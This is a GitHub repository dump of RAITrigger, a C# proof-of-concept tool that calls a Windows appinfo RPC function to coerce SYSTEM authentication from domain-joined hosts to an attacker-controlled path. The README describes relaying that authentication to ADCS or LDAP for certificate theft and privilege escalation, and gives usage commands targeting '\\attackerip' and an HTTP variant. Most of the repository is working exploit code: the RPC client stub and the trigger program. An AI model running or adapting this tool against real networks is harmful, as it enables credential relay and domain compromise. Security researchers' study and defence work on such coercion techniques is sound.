├── Denied.png ├── Impersonation.png ├── SystemTrigger.png ├── packages └── NtApiDotNet.1.1.27 │ ├── .signature.p7s │ ├── NtApiDotNet.1.1.27.nupkg │ └── lib │ └── net45 │ └── NtApiDotNet.dll ├── RAITrigger ├── packages.config ├── App.config ├── Program.cs ├── Properties │ └── AssemblyInfo.cs ├── RAITrigger.csproj └── TriggerClient.cs ├── LICENSE ├── SystemTrigger.sln └── README.md /Denied.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rtecCyberSec/RAITrigger/HEAD/Denied.png -------------------------------------------------------------------------------- /Impersonation.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rtecCyberSec/RAITrigger/HEAD/Impersonation.png -------------------------------------------------------------------------------- /SystemTrigger.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rtecCyberSec/RAITrigger/HEAD/SystemTrigger.png -------------------------------------------------------------------------------- /packages/NtApiDotNet.1.1.27/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rtecCyberSec/RAITrigger/HEAD/packages/NtApiDotNet.1.1.27/.signature.p7s -------------------------------------------------------------------------------- /packages/NtApiDotNet.1.1.27/NtApiDotNet.1.1.27.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rtecCyberSec/RAITrigger/HEAD/packages/NtApiDotNet.1.1.27/NtApiDotNet.1.1.27.nupkg -------------------------------------------------------------------------------- /packages/NtApiDotNet.1.1.27/lib/net45/NtApiDotNet.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rtecCyberSec/RAITrigger/HEAD/packages/NtApiDotNet.1.1.27/lib/net45/NtApiDotNet.dll -------------------------------------------------------------------------------- /RAITrigger/packages.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /RAITrigger/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 r-tec Cyber Security 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /SystemTrigger.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33205.214 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "RAITrigger", "RAITrigger\RAITrigger.csproj", "{3C4247D3-FB19-40C2-A8A2-628E13BD94E1}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {3C4247D3-FB19-40C2-A8A2-628E13BD94E1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {3C4247D3-FB19-40C2-A8A2-628E13BD94E1}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {3C4247D3-FB19-40C2-A8A2-628E13BD94E1}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {3C4247D3-FB19-40C2-A8A2-628E13BD94E1}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {AD5BF044-72AA-4641-9275-69B9658BE7C3} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /RAITrigger/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using NtApiDotNet.Ndr.Marshal; 3 | 4 | namespace Trigger 5 | { 6 | class Program 7 | { 8 | static void Main(String[] args) 9 | { 10 | 11 | if (args.Length == 0) 12 | { 13 | Console.WriteLine(@"[*] Specify the target path e.G. \\attackerip\test.exe"); 14 | return; 15 | } 16 | try 17 | { 18 | using (var client = new Client()) 19 | { 20 | client.Connect(); 21 | 22 | NdrUInt3264 fist_input = new NdrUInt3264(); 23 | Guid seccond = new Guid(); 24 | client.RAiForceElevationPromptForCOM(fist_input, 0, 0, 0, "", seccond, "", "", "", args[0], 0); 25 | 26 | 27 | Console.WriteLine("[*] Done."); 28 | 29 | 30 | } 31 | } 32 | catch (Exception ex) 33 | { 34 | Console.WriteLine($"Error: {ex.Message}"); 35 | Console.WriteLine($"Stack trace: {ex.StackTrace}"); 36 | } 37 | } 38 | } 39 | 40 | 41 | } -------------------------------------------------------------------------------- /RAITrigger/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SystemTrigger")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SystemTrigger")] 13 | [assembly: AssemblyCopyright("Copyright © 2025")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("3c4247d3-fb19-40c2-a8a2-628e13bd94e1")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # RAITrigger 2 | 3 | The RPC-function `RAiForceElevationPromptForCOM` from the `appinfo.dll` library allows SYSTEM coercion. This only works on **domain joined systems**. It turns out, that this function can be called from any low privileged user (not to spawn a process) but to trigger SYSTEM authentication to an arbitrary location. This is because `CreateFileW` is called as SYSTEM to the first input parameter's location: 4 | 5 |
6 |
7 | 8 |
9 |
10 | 11 | As the low privileged user is still impersonated, this cannot be used as Potato trigger to elevate Privileges from `SEImpersonate` to SYSTEM: 12 | 13 |
14 |
15 | 16 |
17 |
18 | 19 | But it can be used to request a computer account certificate against ADCS when web enrollment is enabled with the incoming SMB authentication. Or it can be used for LPE with relaying to LDAP - when LDAP Signing is not enabled. 20 | 21 | To Trigger SMB authentication: 22 | ```bash 23 | [*] RAITrigger.exe \\attackerip\test\test.exe 24 | ``` 25 | 26 | To Trigger HTTP authentication (WebClient service needs to be enabled): 27 | ```bash 28 | [*] RAITrigger.exe \\hostname@80\test\test.exe 29 | ``` 30 | 31 | HTTP authentication is only triggered to trusted intranet zone systems, so you will need to create an ADIDNS record for your Kali IP or be in the same subnet and use e.G. Responder. Never use the full FQDN, only the hostname. 32 | 33 | Calling this function from remote (even with local administrator) leads to `rpc_access_denied` so this is no alternative to e.G. PetitPotam or similar: 34 | 35 |
36 |
37 | 38 |
39 |
40 | 41 | 42 | ## Room for improvement 43 | 44 | - The NtApiDotNet library is huge. Using MIDL bytes can drastically reduce the assembly size similar to [SharpSystemTriggers](https://github.com/cube0x0/SharpSystemTriggers/) 45 | 46 | ## Credits 47 | 48 | - https://github.com/warpnet/MS-RPC-Fuzzer 49 | -------------------------------------------------------------------------------- /RAITrigger/RAITrigger.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {3C4247D3-FB19-40C2-A8A2-628E13BD94E1} 8 | Exe 9 | RAITrigger 10 | RAITrigger 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | 18 | AnyCPU 19 | true 20 | full 21 | false 22 | bin\Debug\ 23 | DEBUG;TRACE 24 | prompt 25 | 4 26 | 27 | 28 | AnyCPU 29 | pdbonly 30 | true 31 | bin\Release\ 32 | TRACE 33 | prompt 34 | 4 35 | 36 | 37 | 38 | ..\packages\NtApiDotNet.1.1.27\lib\net45\NtApiDotNet.dll 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | -------------------------------------------------------------------------------- /RAITrigger/TriggerClient.cs: -------------------------------------------------------------------------------- 1 | namespace Trigger 2 | { 3 | 4 | #region Marshal Helpers 5 | internal class _Marshal_Helper : NtApiDotNet.Ndr.Marshal.NdrMarshalBuffer 6 | { 7 | public void Write_0(Struct_0 p0) 8 | { 9 | WriteStruct(p0); 10 | } 11 | public void Write_1(Struct_1 p0) 12 | { 13 | WriteStruct(p0); 14 | } 15 | public void Write_2(Struct_2 p0) 16 | { 17 | WriteStruct(p0); 18 | } 19 | } 20 | internal class _Unmarshal_Helper : NtApiDotNet.Ndr.Marshal.NdrUnmarshalBuffer 21 | { 22 | public _Unmarshal_Helper(NtApiDotNet.Win32.Rpc.RpcClientResponse r) : 23 | base(r.NdrBuffer, r.Handles, r.DataRepresentation) 24 | { 25 | } 26 | public _Unmarshal_Helper(byte[] ba) : 27 | base(ba) 28 | { 29 | } 30 | public Struct_0 Read_0() 31 | { 32 | return ReadStruct(); 33 | } 34 | public Struct_1 Read_1() 35 | { 36 | return ReadStruct(); 37 | } 38 | public Struct_2 Read_2() 39 | { 40 | return ReadStruct(); 41 | } 42 | } 43 | #endregion 44 | #region Complex Types 45 | public struct Struct_0 : NtApiDotNet.Ndr.Marshal.INdrStructure 46 | { 47 | void NtApiDotNet.Ndr.Marshal.INdrStructure.Marshal(NtApiDotNet.Ndr.Marshal.NdrMarshalBuffer m) 48 | { 49 | Marshal(((_Marshal_Helper)(m))); 50 | } 51 | private void Marshal(_Marshal_Helper m) 52 | { 53 | m.WriteEmbeddedPointer(Member0, new System.Action(m.WriteTerminatedString)); 54 | m.WriteInt32(Member8); 55 | m.WriteInt32(MemberC); 56 | m.WriteInt32(Member10); 57 | m.WriteInt32(Member14); 58 | m.WriteInt32(Member18); 59 | m.WriteInt32(Member1C); 60 | m.WriteInt32(Member20); 61 | m.WriteInt32(Member24); 62 | m.WriteInt16(Member28); 63 | m.Write_1(Member2C); 64 | } 65 | void NtApiDotNet.Ndr.Marshal.INdrStructure.Unmarshal(NtApiDotNet.Ndr.Marshal.NdrUnmarshalBuffer u) 66 | { 67 | Unmarshal(((_Unmarshal_Helper)(u))); 68 | } 69 | private void Unmarshal(_Unmarshal_Helper u) 70 | { 71 | Member0 = u.ReadEmbeddedPointer(new System.Func(u.ReadConformantVaryingString), false); 72 | Member8 = u.ReadInt32(); 73 | MemberC = u.ReadInt32(); 74 | Member10 = u.ReadInt32(); 75 | Member14 = u.ReadInt32(); 76 | Member18 = u.ReadInt32(); 77 | Member1C = u.ReadInt32(); 78 | Member20 = u.ReadInt32(); 79 | Member24 = u.ReadInt32(); 80 | Member28 = u.ReadInt16(); 81 | Member2C = u.Read_1(); 82 | } 83 | int NtApiDotNet.Ndr.Marshal.INdrStructure.GetAlignment() 84 | { 85 | return 4; 86 | } 87 | public NtApiDotNet.Ndr.Marshal.NdrEmbeddedPointer Member0; 88 | public int Member8; 89 | public int MemberC; 90 | public int Member10; 91 | public int Member14; 92 | public int Member18; 93 | public int Member1C; 94 | public int Member20; 95 | public int Member24; 96 | public short Member28; 97 | public Struct_1 Member2C; 98 | public static Struct_0 CreateDefault() 99 | { 100 | return new Struct_0(); 101 | } 102 | public Struct_0(string Member0, int Member8, int MemberC, int Member10, int Member14, int Member18, int Member1C, int Member20, int Member24, short Member28, Struct_1 Member2C) 103 | { 104 | this.Member0 = Member0; 105 | this.Member8 = Member8; 106 | this.MemberC = MemberC; 107 | this.Member10 = Member10; 108 | this.Member14 = Member14; 109 | this.Member18 = Member18; 110 | this.Member1C = Member1C; 111 | this.Member20 = Member20; 112 | this.Member24 = Member24; 113 | this.Member28 = Member28; 114 | this.Member2C = Member2C; 115 | } 116 | } 117 | public struct Struct_1 : NtApiDotNet.Ndr.Marshal.INdrStructure 118 | { 119 | void NtApiDotNet.Ndr.Marshal.INdrStructure.Marshal(NtApiDotNet.Ndr.Marshal.NdrMarshalBuffer m) 120 | { 121 | Marshal(((_Marshal_Helper)(m))); 122 | } 123 | private void Marshal(_Marshal_Helper m) 124 | { 125 | m.WriteInt32(Member0); 126 | m.WriteInt32(Member4); 127 | } 128 | void NtApiDotNet.Ndr.Marshal.INdrStructure.Unmarshal(NtApiDotNet.Ndr.Marshal.NdrUnmarshalBuffer u) 129 | { 130 | Unmarshal(((_Unmarshal_Helper)(u))); 131 | } 132 | private void Unmarshal(_Unmarshal_Helper u) 133 | { 134 | Member0 = u.ReadInt32(); 135 | Member4 = u.ReadInt32(); 136 | } 137 | int NtApiDotNet.Ndr.Marshal.INdrStructure.GetAlignment() 138 | { 139 | return 4; 140 | } 141 | public int Member0; 142 | public int Member4; 143 | public static Struct_1 CreateDefault() 144 | { 145 | return new Struct_1(); 146 | } 147 | public Struct_1(int Member0, int Member4) 148 | { 149 | this.Member0 = Member0; 150 | this.Member4 = Member4; 151 | } 152 | } 153 | public struct Struct_2 : NtApiDotNet.Ndr.Marshal.INdrStructure 154 | { 155 | void NtApiDotNet.Ndr.Marshal.INdrStructure.Marshal(NtApiDotNet.Ndr.Marshal.NdrMarshalBuffer m) 156 | { 157 | Marshal(((_Marshal_Helper)(m))); 158 | } 159 | private void Marshal(_Marshal_Helper m) 160 | { 161 | m.WriteUInt3264(Member0); 162 | m.WriteUInt3264(Member8); 163 | m.WriteInt32(Member10); 164 | m.WriteInt32(Member14); 165 | } 166 | void NtApiDotNet.Ndr.Marshal.INdrStructure.Unmarshal(NtApiDotNet.Ndr.Marshal.NdrUnmarshalBuffer u) 167 | { 168 | Unmarshal(((_Unmarshal_Helper)(u))); 169 | } 170 | private void Unmarshal(_Unmarshal_Helper u) 171 | { 172 | Member0 = u.ReadUInt3264(); 173 | Member8 = u.ReadUInt3264(); 174 | Member10 = u.ReadInt32(); 175 | Member14 = u.ReadInt32(); 176 | } 177 | int NtApiDotNet.Ndr.Marshal.INdrStructure.GetAlignment() 178 | { 179 | return 4; 180 | } 181 | public NtApiDotNet.Ndr.Marshal.NdrUInt3264 Member0; 182 | public NtApiDotNet.Ndr.Marshal.NdrUInt3264 Member8; 183 | public int Member10; 184 | public int Member14; 185 | public static Struct_2 CreateDefault() 186 | { 187 | return new Struct_2(); 188 | } 189 | public Struct_2(NtApiDotNet.Ndr.Marshal.NdrUInt3264 Member0, NtApiDotNet.Ndr.Marshal.NdrUInt3264 Member8, int Member10, int Member14) 190 | { 191 | this.Member0 = Member0; 192 | this.Member8 = Member8; 193 | this.Member10 = Member10; 194 | this.Member14 = Member14; 195 | } 196 | } 197 | #endregion 198 | #region Client Implementation 199 | public sealed class Client : NtApiDotNet.Win32.Rpc.RpcClientBase 200 | { 201 | public Client() : 202 | base("201ef99a-7fa0-444c-9399-19ba84f12a1a", 1, 0) 203 | { 204 | } 205 | private _Unmarshal_Helper SendReceive(int p, _Marshal_Helper m) 206 | { 207 | return new _Unmarshal_Helper(SendReceive(p, m.DataRepresentation, m.ToArray(), m.Handles)); 208 | } 209 | // async 210 | public int RAiLaunchAdminProcess(string p0, string p1, int p2, int p3, string p4, string p5, Struct_0 p6, NtApiDotNet.Ndr.Marshal.NdrUInt3264 p7, int p8, out Struct_2 p9, out int p10) 211 | { 212 | _Marshal_Helper m = new _Marshal_Helper(); 213 | m.WriteReferent(p0, new System.Action(m.WriteTerminatedString)); 214 | m.WriteReferent(p1, new System.Action(m.WriteTerminatedString)); 215 | m.WriteInt32(p2); 216 | m.WriteInt32(p3); 217 | m.WriteTerminatedString(NtApiDotNet.Win32.Rpc.RpcUtils.CheckNull(p4, "p4")); 218 | m.WriteTerminatedString(NtApiDotNet.Win32.Rpc.RpcUtils.CheckNull(p5, "p5")); 219 | m.Write_0(p6); 220 | m.WriteUInt3264(p7); 221 | m.WriteInt32(p8); 222 | _Unmarshal_Helper u = SendReceive(0, m); 223 | p9 = u.Read_2(); 224 | p10 = u.ReadInt32(); 225 | return u.ReadInt32(); 226 | } 227 | public int RAiProcessRunOnce(string p0, out Struct_2 p1) 228 | { 229 | _Marshal_Helper m = new _Marshal_Helper(); 230 | m.WriteTerminatedString(NtApiDotNet.Win32.Rpc.RpcUtils.CheckNull(p0, "p0")); 231 | _Unmarshal_Helper u = SendReceive(1, m); 232 | p1 = u.Read_2(); 233 | return u.ReadInt32(); 234 | } 235 | // async 236 | public int RAiLogonWithSmartCardCreds(int p0, string p1, NtApiDotNet.Ndr.Marshal.NdrUInt3264 p2) 237 | { 238 | _Marshal_Helper m = new _Marshal_Helper(); 239 | m.WriteInt32(p0); 240 | m.WriteTerminatedString(NtApiDotNet.Win32.Rpc.RpcUtils.CheckNull(p1, "p1")); 241 | m.WriteUInt3264(p2); 242 | _Unmarshal_Helper u = SendReceive(2, m); 243 | return u.ReadInt32(); 244 | } 245 | public int RAiOverrideDesktopPromptPolicy() 246 | { 247 | _Marshal_Helper m = new _Marshal_Helper(); 248 | _Unmarshal_Helper u = SendReceive(3, m); 249 | return u.ReadInt32(); 250 | } 251 | public int RAiDisableElevationForSession(int p0) 252 | { 253 | _Marshal_Helper m = new _Marshal_Helper(); 254 | m.WriteInt32(p0); 255 | _Unmarshal_Helper u = SendReceive(4, m); 256 | return u.ReadInt32(); 257 | } 258 | public int RAiEnableElevationForSession(int p0) 259 | { 260 | _Marshal_Helper m = new _Marshal_Helper(); 261 | m.WriteInt32(p0); 262 | _Unmarshal_Helper u = SendReceive(5, m); 263 | return u.ReadInt32(); 264 | } 265 | // async 266 | public int RAiForceElevationPromptForCOM(NtApiDotNet.Ndr.Marshal.NdrUInt3264 p0, int p1, int p2, int p3, string p4, System.Guid p5, string p6, string p7, string p8, string p9, int p10) 267 | { 268 | _Marshal_Helper m = new _Marshal_Helper(); 269 | m.WriteUInt3264(p0); 270 | m.WriteInt32(p1); 271 | m.WriteInt32(p2); 272 | m.WriteInt32(p3); 273 | m.WriteTerminatedString(NtApiDotNet.Win32.Rpc.RpcUtils.CheckNull(p4, "p4")); 274 | m.WriteGuid(p5); 275 | m.WriteTerminatedString(NtApiDotNet.Win32.Rpc.RpcUtils.CheckNull(p6, "p6")); 276 | m.WriteTerminatedString(NtApiDotNet.Win32.Rpc.RpcUtils.CheckNull(p7, "p7")); 277 | m.WriteTerminatedString(NtApiDotNet.Win32.Rpc.RpcUtils.CheckNull(p8, "p8")); 278 | m.WriteTerminatedString(NtApiDotNet.Win32.Rpc.RpcUtils.CheckNull(p9, "p9")); 279 | m.WriteInt32(p10); 280 | _Unmarshal_Helper u = SendReceive(6, m); 281 | return u.ReadInt32(); 282 | } 283 | } 284 | #endregion 285 | } --------------------------------------------------------------------------------